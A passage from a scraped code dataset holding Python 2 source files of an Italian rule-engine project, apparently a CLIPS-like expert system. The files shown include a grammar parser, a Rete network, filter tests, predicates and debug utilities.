utils.new_object_from_complete_classname(\"icse.strategies.{0}.{1}\".format(strategyname, strategyname))\n else:\n from icse.strategies import DepthStrategy\n return DepthStrategy()\n except Exception, e:\n print e\n import sys\n print >> sys.stderr, \"Nome strategia {0} non valido\".format(strategyname)\n \n\nclass ClipsEbnf(object):\n _CACHED_CLIPS_EBNF = None\n _DEBUG = False\n @staticmethod\n def get_parser(debug=True):\n # se non e' inizializzato\n # oppure se e' richiesto un parser\n # con stato debug diverso dall'attuale\n # lo (ri)compilo\n if ClipsEbnf._CACHED_CLIPS_EBNF == None \\\n or debug != ClipsEbnf._DEBUG:\n \n from icse.predicates.Predicate import PositivePredicate, TestPredicate,\\\n NegativePredicate, NccPredicate\n from icse.predicates.NotEq import NotEq\n from icse.predicates.Eq import Eq\n \n import os\n \n grammar_file = open(os.path.dirname(__file__)+'/clips.ebnf', 'r')\n grammar = grammar_file.read()\n \n table = {}\n table['float'] = pp.Regex(r'\\d+(\\.\\d*)?([eE]\\d+)?').setParseAction(lambda s,l,t:float(t[0])) \n table['integer'] = pp.Word(pp.nums).setParseAction(lambda s,l,t:int(t[0][:]))\n table['string'] = pp.Word(pp.printables)\n table['symbol'] = pp.Word(\"\".join( [ c for c in string.printable if c not in string.whitespace and c not in \"\\\"'()&?|<~;\" ] ))\n table['variable_symbol'] = pp.Word('?', \"\".join( [ c for c in string.printable if c not in string.whitespace and c not in \"\\\"'()&?|<~;\" ] ), 2)\n table['variable_undef'] = pp.Literal('?')\n table['quoted_text'] = pp.Combine((\"'\" + pp.CharsNotIn(\"'\") + \"'\" ^ \\\n '\"' + pp.CharsNotIn('\"') + '\"'))\n \n import icse.actions as actions\n #table['action_name'] = pp.Combine(pp.oneOf(\" \".join(actions.Proxy.get_actions().keys())) + pp.Optional( pp.Literal(\" \").suppress()) )\n table['action_name'] = pp.Combine(pp.oneOf(actions.Proxy.get_actions().keys()) + pp.FollowedBy( pp.White() | pp.Literal(\")\") ) + pp.Optional( pp.Literal(\" \").suppress()) )\n \n import icse.functions as functions\n table['function_name'] = pp.Combine(pp.oneOf(\" \".join(functions.Proxy.get_functions().keys())) + pp.Literal(\" \").suppress())\n\n import icse.predicates as predicates\n table['predicate_name'] = pp.Combine(pp.oneOf(\" \".join(predicates.Proxy.get_predicates().keys())) + pp.Literal(\" \").suppress())\n \n table['MYCLIPS_directive'] = pp.Regex(r'\\;\\@(?P<command>\\w+)\\((?P<params>.+?)\\)').setParseAction(lambda s,l,t: ('myclips-directive', (t['command'], t['params'])))\n \n parsers = ebnf.parse(grammar, table, debug)\n \n #parsers['comment'].setParseAction(lambda s,l,t:t[0][1:-1])\n parsers['number'].setParseAction(lambda s,l,t:t[0][0])\n parsers['rule_property'].setParseAction(lambda s,l,t: tuple([t[1], t[2][0]])) \n parsers['declaration'].setParseAction(lambda s,l,t: ('declare', dict(t[1][:])))\n parsers['comment'].setParseAction(lambda s,l,t: ('description', t[0][1:-1]))\n parsers['rule_name'].setParseAction(lambda s,l,t: ('name', t[0]))\n parsers['conditional_element_group'].setParseAction(lambda s,l,t: ('lhs', t[0][:]))\n parsers['action_group'].setParseAction(lambda s,l,t: ('rhs', t[0][:]))\n parsers['defrule_construct'].setParseAction(lambda s,l,t: ('defrule', dict([x for x in t if isinstance(x, tuple)])))\n parsers['constant'].setParseAction(lambda s,l,t:(Eq, t[0]))\n parsers['variable_symbol'].setParseAction(lambda s,l,t:(Variable, t[0][1:]))\n parsers['variable_undef'].setParseAction(lambda s,l,t:(Variable, None))\n parsers['pattern_CE'].setParseAction(lambda s,l,t:(PositivePredicate, t[1][:]))\n parsers['not_term'].setParseAction(lambda s,l,t:(NotEq, t[1][1]) if t[1][0] == Eq else (Variable.withPredicate(NotEq), t[1][1]) if t[1][0] == Variable else (NotEq, t[1]) )\n parsers['test_CE'].setParseAction(lambda s,l,t:(TestPredicate.withPredicate(t[2]), t[3][:]))\n parsers['assigned_pattern_CE'].setParseAction(lambda s,l,t:(PositivePredicate, t[2][1][:], t[0][1]))\n parsers['and_CE'].setParseAction(lambda s,l,t: [t[1][:]] )\n parsers['not_CE'].setParseAction(lambda s,l,t: (NegativePredicate, t[1][1]) if t[1][0] == PositivePredicate else (NccPredicate, t[1]))\n parsers['predicate_name'].setParseAction(lambda s,l,t: _get_predicate_from_string(t[0]) )\n parsers['function_name'].setParseAction(lambda s,l,t: _get_function_from_string(t[0]) )\n # registra la funzione per la function call\n # per provare a riscrivere la funzione come fosse\n # una costante se tutti i termini della funzione sono costanti\n parsers['function_call'].setParseAction(ClipsEbnf._try_rewrite_staticfunction)\n parsers['term_function_call'].setParseAction(lambda s,l,t: t[0] if len(t) == 1 else t[1] )\n parsers['deffacts_name'].setParseAction(lambda s,l,t: ('name', t[0]))\n parsers['rhs_pattern'].setParseAction(lambda s,l,t: [t[1][:]])\n parsers['rhs_pattern_group'].setParseAction(lambda s,l,t: ('facts', t[0][:]))\n parsers['deffacts_construct'].setParseAction(lambda s,l,t: ('deffacts', dict([x for x in t if isinstance(x, tuple)]).get('facts')))\n \n parsers['action_quoted_text'].setParseAction(lambda s,l,t: \"\".join(t) )\n parsers['action_call'].setParseAction(lambda s,l,t: (t[1],t[2][:]) )\n parsers['action_name'].setParseAction(lambda s,l,t: _get_action_from_string(t[0]) )\n \n parsers['setstrategy_construct'].setParseAction(lambda s,l,t: ('set-strategy', _get_strategy_from_string(t[1]) ))\n \n #parsers['MYCLIPS_directive'].setParseAction(lambda s,l,t: ('myclips-directive', (t[0], t[1][:]) ))\n \n clipsComment = ( \";\" + pp.NotAny('@') + pp.SkipTo(\"\\n\") ).setName(\"clips_comment\")\n\n parsers['CLIPS_program'].setParseAction(lambda s,l,t: t[0][:])\n parsers['CLIPS_program'].ignore(clipsComment)\n \n \n if debug:\n # vistualizzo informazioni su funzioni e predicati caricati\n print \"Predicati caricati:\"\n print \"\\t\" + \"\\n\\t\".join(predicates.Proxy.get_predicates().keys())\n print \"Funzioni caricate:\"\n print \"\\t\" + \"\\n\\t\".join(functions.Proxy.get_functions().keys())\n print \"Azioni caricate:\"\n print \"\\t\" + \"\\n\\t\".join(actions.Proxy.get_actions().keys()) \n raw_input()\n \n \n ClipsEbnf._CACHED_CLIPS_EBNF = parsers\n ClipsEbnf._DEBUG = debug\n \n return ClipsEbnf._CACHED_CLIPS_EBNF['CLIPS_program'] \n \n @staticmethod \n def _try_rewrite_staticfunction(s,l,t):\n condizioni = t[2][:]\n funcImpl = t[1]\n need_resolution = [ ( issubclass(x, Variable) or issubclass(x, Function)) for (x,_) in condizioni]\n #print condizioni\n #print need_resolution \n if not True in need_resolution :\n # prima ad eseguire l'operazione direttamente\n from icse.predicates.Eq import Eq\n return (Eq, funcImpl.sign()['handler'](*[x for (_,x) in condizioni]))\n else:\n return (Function.withFunction(t[1]), condizioni)\n \nif __name__ == '__main__':\n \n ClipsEbnf.get_parser(True)\n \n test_funct = '''\n(set-strategy random)\n'''\n \n parsed = ClipsEbnf._CACHED_CLIPS_EBNF['action_group'].parseString(test_funct)[:]\n \n import pprint\n \n pprint.pprint(parsed)\n \n \n" }, { "alpha_fraction": 0.5386144518852234, "alphanum_fraction": 0.5404496192932129, "avg_line_length": 31.346534729003906, "blob_id": "7ce81c935a1617d7650b431fef394e1ed4112949", "content_id": "fe488941be9a3bf99114a1643ad74bbb8e4060d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6539, "license_type": "no_license", "max_line_length": 105, "num_lines": 202, "path": "/src/icse/rete/ReteNetwork.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 08/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.WME import WME\nfrom icse import rete\nfrom icse.rete.Nodes import AlphaRootNode, ReteNode\nfrom icse.rete.PNode import PNode\n#from icse.rete.NetworkXGraphWrapper import NetworkXGraphWrapper\nfrom icse.rete.Agenda import Agenda\nfrom icse.debug import EventManager\n\n\nclass ReteNetwork(object):\n '''\n Implementazione di un network di tipo Rete\n per il pattern matching delle produzioni\n '''\n\n\n def __init__(self):\n '''\n Constructor\n '''\n self.__wmes_map = {}\n self.__id_fact_map = {}\n self.__rules_map = {}\n self.__agenda = Agenda()\n self.__wme_nextid = 0\n \n self.__alpha_root = AlphaRootNode(self)\n #self.__beta_root = BetaRootNode(self, self.__alpha_root)\n #self.__alpha_root.get_alphamemory().add_successor(self.__beta_root)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, self.__alpha_root) \n \n #NetworkXGraphWrapper.i().add_node(self.__alpha_root, None)\n #Ubigraph.i().add_node(self.__alpha_root.get_alphamemory(), self.__alpha_root)\n #Ubigraph.i().add_node(self.__beta_root, self.__alpha_root, 1)\n \n def get_root(self):\n return self.__alpha_root\n \n def get_wmes(self):\n return self.__wmes_map.values()\n \n def _get_fact_dict_key(self, fact):\n if isinstance(fact, list):\n return tuple(fact)\n elif isinstance(fact, dict):\n return tuple(fact.items())\n else:\n return fact\n \n def get_wme(self, fact_or_fact_id):\n if isinstance(fact_or_fact_id, int):\n # e' un id\n fact_or_fact_id = self.__id_fact_map[fact_or_fact_id]\n return self.__wmes_map[self._get_fact_dict_key(fact_or_fact_id)]\n \n def get_production(self, rulename):\n return self.__rules_map[rulename]\n \n def assert_fact(self, fact):\n '''\n Asserisce un nuovo fatto nel network\n @param fact: Fact\n '''\n \n try:\n wme = self.get_wme(fact)\n # se l'ho trovato (e quindi niente eccezione\n # significa che e' un duplicato\n # ergo non propago nulla\n EventManager.trigger(EventManager.E_FACT_ASSERTED, wme, False)\n \n return (wme.get_factid(), wme, False)\n \n except KeyError:\n \n # se non l'ho trovato, devo asserire realmente\n fact_dict_key = self._get_fact_dict_key(fact)\n \n wme = WME(fact)\n \n # e' un nuovo WME, quindi incremento l'id...\n self.__wme_nextid += 1\n\n # inserisco nella map wme -> ID\n self.__wmes_map[fact_dict_key] = wme\n \n wme.set_factid(self.__wme_nextid)\n \n self.__id_fact_map[self.__wme_nextid] = fact_dict_key\n\n EventManager.trigger(EventManager.E_FACT_ASSERTED, wme, True)\n \n # ...e propago\n self.__alpha_root.activation(wme)\n \n return (self.__wme_nextid, wme, True)\n \n \n def retract_fact(self, wme):\n '''\n Ritratta un fatto dal network\n @param wme: WME una wme gia presente nella rete \n '''\n \n if not isinstance(wme, WME):\n # la cerco nel dizionario wme\n wme = self.__wmes_map[self._get_fact_dict_key(wme)]\n \n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n # rimuovo dalla mappa wme -> id\n # (questo mi assicura che la wme ci sia)\n del self.__wmes_map[self._get_fact_dict_key(wme.get_fact())]\n \n #import sys\n #print >> sys.stderr, \"Sto ritrattando: \", wme\n \n wme.remove()\n \n EventManager.trigger(EventManager.E_FACT_RETRACTD, wme)\n \n del wme\n \n def add_production(self, production):\n '''\n Aggiunge una nuova produzione al network\n (solo se un'altra con lo stesso nome non sia gia\n stata definita, nel qual caso viene restituito\n un riferimento al vecchio PNode)\n @param production: Production\n '''\n \n if self.__rules_map.has_key(production.get_name()):\n import sys\n print >> sys.stderr, \"Redefinizione di una regola gia definita: \", production.get_name()\n return self.__rules_map[production.get_name()]\n \n symbols = {}\n last_node = rete.network_factory(self.__alpha_root, None, production.get_lhs(), builtins=symbols)\n \n #from pprint import pprint\n #pprint(symbols, indent=4)\n \n pnode = PNode(last_node,\n production.get_name(),\n production.get_rhs(),\n production.get_properties(),\n symbols,\n self,\n onActive=self.__agenda.insert,\n onDeactive=self.__agenda.remove,\n assertFunc=self.assert_fact,\n retractFunc=self.retract_fact,\n addProduction=self.add_production,\n removeProduction=self.remove_production\n )\n assert isinstance(last_node, ReteNode), \\\n \"last_node non e' un ReteNode\"\n \n last_node.add_child(pnode)\n \n last_node.update(pnode)\n \n #NetworkXGraphWrapper.i().add_node(pnode, last_node, -1)\n \n self.__rules_map[production.get_name()] = pnode\n\n EventManager.trigger( EventManager.E_NODE_ADDED, pnode)\n \n EventManager.trigger( EventManager.E_NODE_LINKED, pnode, last_node, -1)\n \n EventManager.trigger( EventManager.E_RULE_ADDED, production, pnode)\n \n return pnode\n \n \n def remove_production(self, pnode_or_rulename):\n '''\n Rimuove una produzione dal network\n @param pnode_or_rulename: PNode\n '''\n if not isinstance(pnode_or_rulename, PNode):\n pnode_or_rulename = self.__rules_map[pnode_or_rulename]\n \n assert isinstance(pnode_or_rulename, PNode)\n \n del self.__rules_map[pnode_or_rulename.get_name()]\n \n pnode_or_rulename.delete()\n\n EventManager.trigger( EventManager.E_RULE_REMOVED, pnode_or_rulename)\n \n def agenda(self):\n return self.__agenda\n \n" }, { "alpha_fraction": 0.6265560388565063, "alphanum_fraction": 0.6514523029327393, "avg_line_length": 17.538461685180664, "blob_id": "3eaa9cdc320c3895f2d85412bc3527c1f9c6b54a", "content_id": "7c822885991987365770341a1ff52b925d283ad4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 241, "license_type": "no_license", "max_line_length": 52, "num_lines": 13, "path": "/src/icse/predicates/IsSymbol.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.IsString import IsString\n\nclass IsSymbol(IsString):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n SIGN = 'symbolp'\n" }, { "alpha_fraction": 0.48370498418807983, "alphanum_fraction": 0.4967673718929291, "avg_line_length": 35.22488021850586, "blob_id": "7776fb74f5696c8fbdebeebd852a4857a336d924", "content_id": "d7b952b7441a0fb63cdcc38ab7ececbfbe6169a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7579, "license_type": "no_license", "max_line_length": 176, "num_lines": 209, "path": "/src/icse/rete/FilterTest.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 08/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.Token import Token, DummyToken\nfrom icse.rete.WME import WME\nfrom icse.predicates.Predicate import Predicate, TestPredicate\nfrom icse.Variable import Variable\nfrom icse.predicates.Eq import Eq\nfrom icse.Function import Function\nfrom icse.rete.JoinTest import DynamicOperand\n\n\nclass FilterTest(object):\n '''\n JoinTest: rappresenta un test di coerenza per il binding\n di variabili in condizioni differenti rappresentati\n da un JoinNode\n '''\n\n\n def __init__(self, field1_rel_index, field1, field2_rel_index, field2, predicate):\n '''\n Costruisce un nuovo JoinTest\n @param field1: il tipo di campo da confrontrare di prima WME\n @param field2: il tipo di campo da confrontrare di seconda WME\n @param rel_cond_index: indice relativo del token a cui appartiene la WME da confrontare\n @param predicate: il predicato che eseguira' il confronto \n '''\n \n assert issubclass(predicate, Predicate), \\\n \"predicate non e' un Predicate\"\n \n self.__cond1_field = field1\n self.__cond2_field = field2\n self.__cond1_rel_index = field1_rel_index\n self.__cond2_rel_index = field2_rel_index\n self.__predicate = predicate\n \n \n def perform(self, tok):\n '''\n Esegue un controllo di coerenza per il binding\n delle variabili rappresentate da questa classe\n '''\n \n # Riferimento: perform-join-tests pagina 25\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n # Il confronto deve avvenire necessariamente\n # fra variabili bindate precedentemente\n # quindi direttamente \n\n wme1 = None\n wme2 = None\n\n # risolvo l'atomo primario\n \n if self.__cond1_rel_index != None:\n t_tok = tok\n i = self.__cond1_rel_index - 1\n while i > 0:\n t_tok = t_tok.get_parent()\n i -= 1\n \n # ora in t_tok ho proprio il token\n # in cui e' rappresentata la wme che mi serve\n wme1 = t_tok.get_wme()\n\n\n if self.__cond2_rel_index != None:\n t_tok = tok\n i = self.__cond2_rel_index - 1\n while i > 0:\n t_tok = t_tok.get_parent()\n i -= 1\n \n # ora in t_tok ho proprio il token\n # in cui e' rappresentata la wme che mi serve\n wme2 = t_tok.get_wme()\n\n \n try:\n \n # se ho una wme, allora il campo e' un indice di campo\n # altrimenti e' proprio il valore\n if wme1 == None:\n if isinstance(self.__cond1_field, DynamicOperand):\n assert isinstance(self.__cond1_field, DynamicOperand)\n arg1 = self.__cond1_field.valutate(tok, tok.get_wme())\n else:\n arg1 = self.__cond1_field\n else:\n arg1 = wme1.get_field(self.__cond1_field)\n \n # se ho una wme, allora il campo e' un indice di campo\n # altrimenti e' proprio il valore\n if wme2 == None:\n if isinstance(self.__cond2_field, DynamicOperand):\n arg2 = self.__cond2_field.valutate(tok, tok.get_wme())\n else:\n arg2 = self.__cond2_field\n else:\n arg2 = wme2.get_field(self.__cond2_field)\n \n assert issubclass(self.__predicate, Predicate)\n \n #print arg1, ' VS ',arg2\n \n return self.__predicate.compare(arg1, arg2)\n except IndexError:\n # Il confronto non e' nemmeno necessario\n # visto che una delle wme non ha nemmeno\n # il numero di campi richiesto per il confronto\n return False\n \n @staticmethod \n def build_tests(atoms, prec_conditions, builtins, predicate):\n tests = []\n atom_index = 0\n first_atom = None\n for atom_type, atom_value in atoms:\n \n # il primo atomo e' il confronto di tutti\n if issubclass(atom_type, Variable):\n # devo risolverla\n cond_index, cond_field = builtins[atom_value]\n # eseguo aggiustamento relativo\n cond_index = len(prec_conditions) - cond_index\n elif issubclass(atom_type, Function):\n \n dynop = DynamicOperand(atom_type.get_function(), atom_value, len(prec_conditions), builtins)\n cond_index = None\n cond_field = dynop\n \n else:\n # e' un valore reale di confronto\n cond_index = None\n cond_field = atom_value\n \n if first_atom == None:\n # salvo il primo valore\n # che sia O:\n # - indice relativo di condizione, indice di campo dove risiede il valore\n # - None, il valore\n first_atom = (cond_index, cond_field)\n else:\n # creo il test fra:\n # il primo valore/variabile\n # VS\n # il corrente valore/variabile\n ft = FilterTest(first_atom[0], first_atom[1], cond_index, cond_field, predicate)\n tests.append(ft)\n # non aggiorno la builtins\n # in quanto non voglio che le future funzioni\n # cerchino con un valore errato\n # in quanto questo test non crea token\n \n atom_index += 1\n \n #print [repr(x) for x in tests]\n \n return tests\n \n \n def __repr__(self):\n if self.__cond2_rel_index != None:\n s2 = \"[{0}] di {1}\".format(\n self.__cond2_field,\n self.__cond2_rel_index * -1\n )\n else:\n s2 = self.__cond2_field\n \n if self.__cond1_rel_index != None:\n s1 = \"[{0}] di {1}\".format(\n self.__cond1_field,\n self.__cond1_rel_index * -1\n )\n else:\n s1 = self.__cond1_field \n\n return \"{0} {1} {2}\".format(\n s1,\n self.__predicate.SIGN if hasattr(self.__predicate, 'SIGN') and self.__predicate.SIGN != None else str(self.__predicate.__name__).split('.')[-1],\n s2\n )\n \n def __eq__(self, other):\n if isinstance(other, FilterTest):\n if self.__cond1_field == other.__cond1_field \\\n and self.__cond2_field == other.__cond2_field \\\n and self.__cond1_rel_index == other.__cond1_rel_index \\\n and self.__cond2_rel_index == other.__cond2_rel_index \\\n and self.__predicate == other.__predicate:\n \n return True\n \n return False\n \n def __neq__(self, other):\n return (not self.__eq__(other))\n \n def __hash__(self):\n # speriamo mi faciliti il confronto fra liste di test...\n return hash((self.__cond1_field, self.__cond2_field, self.__cond1_rel_index, self.__cond2_rel_index, self.__predicate))\n " }, { "alpha_fraction": 0.528253972530365, "alphanum_fraction": 0.5384126901626587, "avg_line_length": 26.399999618530273, "blob_id": "753dcf9952713938fb9cbd7fd0c0e9c46d2ce35c", "content_id": "3056bdc259db0c94c6e8bf4647217694007d2e89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1575, "license_type": "no_license", "max_line_length": 133, "num_lines": 55, "path": "/src/icse/MainOld.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.Production import Production\nfrom icse.predicates.Eq import Eq\nfrom icse.Variable import Variable\nfrom icse.rete.ReteNetwork import ReteNetwork\nfrom icse.predicates.Predicate import NccPredicate, PositivePredicate,\\\n NegativePredicate, TestPredicate\nfrom icse.rete.NetworkXGraphWrapper import NetworkXGraphWrapper\nfrom icse.predicates.NotEq import NotEq\nfrom icse.predicates.Great import Gt\nfrom icse.functions.Addition import Addition\nfrom icse.Function import Function\nfrom icse.actions.Printout import Printout\n\n\nif __name__ == '__main__':\n\n \n rete = ReteNetwork()\n \n '''\n (defrule r1\n (A =(+ 1 1) B)\n =>\n )\n '''\n p = Production(name=\"r1:\",\n lhs=[\n (PositivePredicate, [(Eq, 'A'), (Variable, 'var')]),\n (PositivePredicate, [(Eq, 'A'), (Function.withFunction(Addition), [(Eq, 1), (Variable, 'var')]), (Eq, \"B\")]),\n ],\n rhs=[\n (Printout, [\"t\", (Variable, 'A'), \"il mio testo\", \"crlf\"])\n ],\n description=\"\"\n )\n \n rete.add_production(p)\n\n\n rete.assert_fact(['A', 1])\n rete.assert_fact(['A', 2,'B'])\n rete.assert_fact(['A', 1,'B'])\n \n \n agenda = rete.agenda()\n \n for (node, token) in agenda:\n print \"{0}: {1}\".format(node.get_name(), token.linearize())\n\n NetworkXGraphWrapper.i().draw() \n \n \n \n \n \n \n \n \n \n \n \n \n " }, { "alpha_fraction": 0.5383304953575134, "alphanum_fraction": 0.558773398399353, "avg_line_length": 21.559999465942383, "blob_id": "a4a4f41c6012eb48248c50690da187ce7ea457ab", "content_id": "acf096cb6d219c5c05caba0d44b9338ad4238d15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 587, "license_type": "no_license", "max_line_length": 61, "num_lines": 25, "path": "/src/icse/predicates/IsEven.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import PositivePredicate\n\nclass IsEven(PositivePredicate):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n \n SIGN = 'evenp'\n \n @staticmethod\n def compare(value1):\n '''\n Restituisce True se value1 e' un numero (float o int)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n # controlla l'ultimo bit :)\n return not (int(value1) & 1)\n \n \n \n" }, { "alpha_fraction": 0.6172106862068176, "alphanum_fraction": 0.6468842625617981, "avg_line_length": 17.27777862548828, "blob_id": "44881a3adfb7409cbdc7c8de96ddf54c64434844", "content_id": "bc7370cbc69b7b307338f6d8174132a300622361", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 337, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/src/icse/predicates/NotEq.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Eq import Eq\nfrom icse.predicates.Predicate import NegativePredicate\n\nclass NotEq(NegativePredicate):\n '''\n Not condizione\n '''\n \n SIGN = None\n \n @staticmethod\n def compare(value1, value2):\n return not Eq.compare(value1, value2)\n " }, { "alpha_fraction": 0.544510006904602, "alphanum_fraction": 0.5475224256515503, "avg_line_length": 36.22196960449219, "blob_id": "08fdf1cf1275881b1abb445324c6a9e48b58fe02", "content_id": "195669d42a41a43ff12ade2836dc3fb903f6ca8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16266, "license_type": "no_license", "max_line_length": 136, "num_lines": 437, "path": "/src/icse/debug.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nfrom icse.NetworkXGraphWrapper import NetworkXGraphWrapper\n\ndef show_wme_details(wme, indent=4, explodeToken=False, maxDepth=3, explodeAMem=False):\n\n from icse.rete.WME import WME\n \n assert isinstance(wme, WME)\n\n IP = \"\".rjust(indent, ' ')\n\n tokens = wme._WME__tokens\n\n print IP, \"WME: f-\", wme.get_factid(),\" \", wme.get_fact()\n print IP, \" |- TOKENS: \", len(tokens)\n for token in tokens:\n if not explodeToken:\n print IP, \" : |- \",repr(token)\n else:\n show_token_details(token, indent+8, False, maxDepth-1)\n print IP, \" |- Alpha-Memories: \", len(wme._WME__alphamemories)\n for am in wme._WME__alphamemories:\n if not explodeAMem:\n print IP, \" : |- \" ,repr(am)\n else:\n show_alphamemory_details(am, indent+8, False, maxDepth-1)\n \ndef show_alphamemory_details(am, indent=4, explodeWme=False, maxDepth=2):\n\n from icse.rete.Nodes import AlphaMemory, AlphaRootNode\n\n \n IP = \"\".rjust(indent, ' ')\n if maxDepth <= 0:\n print IP, '*** MAX-DEPTH ***'\n return\n\n assert isinstance(am, AlphaMemory)\n \n print IP, \"AlphaMemory: \",repr(am)\n print IP, \" |- PARENT: \"\n parent = am.get_parent()\n pindent = IP\n while parent != None and not isinstance(parent, AlphaRootNode):\n pindent = pindent + \" \"\n print pindent, \" |- Node: \", parent\n print pindent, \" : |- PARENT:\"\n pindent += \" \"\n parent = parent.get_parent()\n \n print IP, \" |- WMES: \", len(am.get_items())\n for wme in am.get_items():\n if not explodeWme:\n print IP, \" : |- \", wme\n else:\n show_wme_details(wme, indent+8, False, maxDepth-1, False)\n \n \ndef show_token_details(token, indent=4, explodeWme=False, maxDepth=2):\n\n from icse.rete.Token import Token\n\n \n IP = \"\".rjust(indent, ' ')\n \n if maxDepth <= 0:\n print IP, '*** MAX-DEPTH ***'\n return\n \n assert isinstance(token, Token)\n \n \n \n print IP, \"Token: \",repr(token)\n print IP, \" |- wme: \", token.get_wme()\n print IP, \" |- node: \", token.get_node()\n print IP, \" |- PARENT: \"\n ttok = token.get_parent()\n tindent = IP + \" \" \n while ttok != None:\n print tindent, \" |- Token: \", repr(ttok)\n print tindent, \" : |- wme: \", ttok.get_wme()\n print tindent, \" : |- #children: \", len(ttok._Token__children)\n print tindent, \" : |- node: \", ttok.get_node()\n print tindent, \" : |- PARENT:\"\n tindent = tindent + \" \"\n ttok = ttok.get_parent()\n print IP, \" |- CHILDREN: \", len(token._Token__children)\n for subtoken in token._Token__children:\n show_token_details(subtoken, indent+8, False, maxDepth-1 )\n print IP, \" |- NEGATIVE-JOIN-RESULTS: \", len(token._Token__njresults)\n for res in token._Token__njresults:\n print IP, \" : |- \", res\n print IP, \" : |- wme: \", res.get_wme()\n print IP, \" : |- token: \", res.get_owner()\n \ndef draw_network_fragment(pnodes, rete, g = None):\n \n from icse.rete.Nodes import AlphaNode, AlphaRootNode, \\\n JoinNode, NegativeNode, NccNode, \\\n DummyJoinNode, DummyNegativeNode\n \n if g == None:\n g = NetworkXGraphWrapper.i()\n g.clear()\n \n \n visited = set()\n links = set()\n nodeStack = pnodes \n \n while len(nodeStack) > 0:\n child = nodeStack.pop()\n # navigo prima verso il padre da sinistra\n if not isinstance(child, AlphaRootNode):\n parent_left = child.get_parent()\n else:\n parent_left = None\n \n if isinstance(child, (AlphaNode)):\n left_linkType = 0\n else:\n left_linkType = -1\n # devo prendere la memory\n # per join\n if isinstance(child, (JoinNode, NegativeNode, DummyJoinNode, DummyNegativeNode)):\n parent_right = child.get_alphamemory()\n right_linkType = 1\n elif isinstance(child, (NccNode)):\n parent_right = child.get_partner()\n right_linkType = 0\n else:\n parent_right = None\n right_linkType = 0\n \n \n if child not in visited:\n g.add_node(child)\n visited.add(child)\n if parent_left != None:\n if parent_left not in visited:\n g.add_node(parent_left)\n visited.add(parent_left)\n if (child, parent_left) not in links:\n g.add_edge(parent_left, child, left_linkType )\n links.add((child, parent_left))\n if parent_right != None:\n if parent_right not in visited:\n g.add_node(parent_right)\n visited.add(parent_right)\n if (child, parent_right) not in links:\n g.add_edge(parent_right, child, right_linkType )\n links.add((child, parent_right))\n \n # inserisco prima il padre destro e poi il sinistro\n # perche voglio che la navigazione proceda prima\n # risalendo a sinistra\n if parent_right != None and child != rete.get_root():\n nodeStack.append(parent_right)\n \n if parent_left != None and child != rete.get_root():\n nodeStack.append(parent_left)\n \n g.draw()\n \n \nclass ConsoleDebugMonitor(object):\n \n def __init__(self):\n self._em = None\n \n def linkToEventManager(self, em):\n if self._em != None:\n em.unregister(EventManager.E_DEBUG_OPTIONS_CHANGED, self.onDebugOptionsChange)\n \n if issubclass(em, EventManager):\n self._em = em\n self._em.register(EventManager.E_DEBUG_OPTIONS_CHANGED, self.onDebugOptionsChange)\n \n \n def onDebugOptionsChange(self, changedOptions, *args):\n if isinstance(changedOptions, dict):\n for (key, value) in changedOptions.items():\n method = \"_option_\"+key\n if hasattr(self, method) \\\n and callable(getattr(self, method)):\n print key, ' = ', value\n getattr(self, method)(value)\n \n def _option_watch_rule_fire(self, value):\n if bool(value):\n self._em.register(EventManager.E_RULE_FIRED, self.onRuleFired)\n else:\n self._em.unregister(EventManager.E_RULE_FIRED, self.onRuleFired)\n\n def _option_watch_rule_activation(self, value):\n if bool(value):\n self._em.register(EventManager.E_RULE_ACTIVATED, self.onRuleActivated)\n else:\n self._em.unregister(EventManager.E_RULE_ACTIVATED, self.onRuleActivated)\n\n def _option_watch_rule_deactivation(self, value):\n if bool(value):\n self._em.register(EventManager.E_RULE_DEACTIVATED, self.onRuleDeactivated)\n else:\n self._em.unregister(EventManager.E_RULE_DEACTIVATED, self.onRuleDeactivated)\n \n def _option_watch_fact_assert(self, value):\n if bool(value):\n self._em.register(EventManager.E_FACT_ASSERTED, self.onFactAsserted)\n else:\n self._em.unregister(EventManager.E_FACT_ASSERTED, self.onFactAsserted)\n\n def _option_watch_fact_retract(self, value):\n if bool(value):\n self._em.register(EventManager.E_FACT_RETRACTD, self.onFactRetracted)\n else:\n self._em.unregister(EventManager.E_FACT_RETRACTD, self.onFactRetracted)\n \n def _option_watch_strategy_change(self, value):\n if bool(value):\n self._em.register(EventManager.E_STRATEGY_CHANGED, self.onStrategyChanged)\n else:\n 